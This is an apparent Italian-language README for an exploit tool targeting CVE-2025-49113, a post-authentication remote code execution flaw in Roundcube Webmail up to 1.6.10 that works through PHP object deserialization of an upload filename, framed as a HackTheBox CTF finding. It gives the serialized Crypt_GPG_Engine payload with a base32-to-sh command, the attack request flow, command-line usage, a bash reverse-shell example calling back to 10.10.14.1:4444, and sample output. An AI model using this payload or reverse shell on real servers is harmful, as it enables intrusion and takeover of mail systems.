
CVE-2025-49113 – Roundcube ≤1.6.10 RCE post-autenticazione tramite deserializzazione di oggetti PHP (HackTheBox CTF)
| Campo | Dettagli |
|---|
| CVE | CVE-2025-49113 |
| Software | Roundcube Webmail |
| Versioni interessate | ≤ 1.6.10 |
| Vulnerabilità | Deserializzazione di oggetti PHP → RCE |
| Autenticazione | Richiesta (qualsiasi utente valido) |
| Impatto | Esecuzione remota di codice sul server |
| Contesto | Scoperta durante una CTF di HackTheBox |
Le versioni di Roundcube Webmail fino alla 1.6.10 inclusa sono vulnerabili all'esecuzione remota di codice post-autenticazione. Il gestore del caricamento dei file deserializza un oggetto PHP incorporato nel nome del file di un allegato caricato. Creando un nome di file dannoso contenente un oggetto Crypt_GPG_Engine serializzato, un utente autenticato può innescare l'esecuzione di comandi arbitrari sul server sottostante quando il nome del file viene elaborato.
Deserializzazione di oggetti PHP (CWE-502). L'endpoint di caricamento file di Roundcube fa passare il nome file fornito dal client attraverso un percorso di deserializzazione senza validazione. La classe Crypt_GPG_Engine è disponibile nella catena di dipendenze di Roundcube e funge da catena di gadget utilizzabile.
La classe Crypt_GPG_Engine contiene una proprietà _gpgconf che viene passata a una chiamata a livello di sistema durante la distruzione/inizializzazione dell'oggetto. Serializzando un'istanza con un valore _gpgconf appositamente modificato, l'attaccante forza l'esecuzione di comandi.
Serialized payload format:
|O:16:"Crypt_GPG_Engine":3:{
s:8:"_process"; b:0;
s:8:"_gpgconf"; s:<len>:"<base32-encoded-command> | base32 -d | sh &#";
s:8:"_homedir"; s:0:"";
}
Il comando viene codificato in Base32 per evitare caratteri che romperebbero il campo del nome file multipart (virgolette, barre, ecc.).
Attacker (authenticated)
│
▼
GET /?_task=login → Fetch CSRF token + session cookie
│
▼
POST /?_task=login → Authenticate with valid credentials
│
▼
POST /?_task=settings&_action=upload
Content-Disposition: filename="<SERIALIZED_PAYLOAD>"
│
▼
Server deserializes filename → Crypt_GPG_Engine instantiated
│
▼
_gpgconf executed → OS command runs as webserver user
Il comando viene codificato in Base32 per evitare caratteri che romperebbero il campo del nome file multipart (virgolette, barre, ecc.). Il comando finale eseguito sul server è:
echo "<B32_CMD>" | base32 -d | sh
python3 exploit.py -u <USER> -p <PASS> -i <TARGET_URL> -x <COMMAND>
| Flag | Descrizione |
|---|---|
-u | Nome utente Roundcube |
-p | Password Roundcube |
-i | URL target (es., http://mail.target.htb) |
-x | Comando da eseguire sul server |
# Check code execution as web server user
python3 exploit.py -u admin -p password -i http://mail.target.htb -x "id"
# Reverse shell
python3 exploit.py -u admin -p password -i http://mail.target.htb \
-x "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"
Nessuna libreria esterna richiesta — utilizza solo la libreria standard di Python (http.client, urllib, base64, ecc.).
$ python3 exploit.py -u bob -p letmein -i http://mail.target.htb -x "id"
[*] Starting Roundcube exploit (CVE-2025-49113)
[*] Fetching CSRF token...
[+] Got CSRF token: abc123...
[*] Authenticating...
[+] Authentication successful
[*] Executing command: id
[+] Exploit completed. Check target for command execution.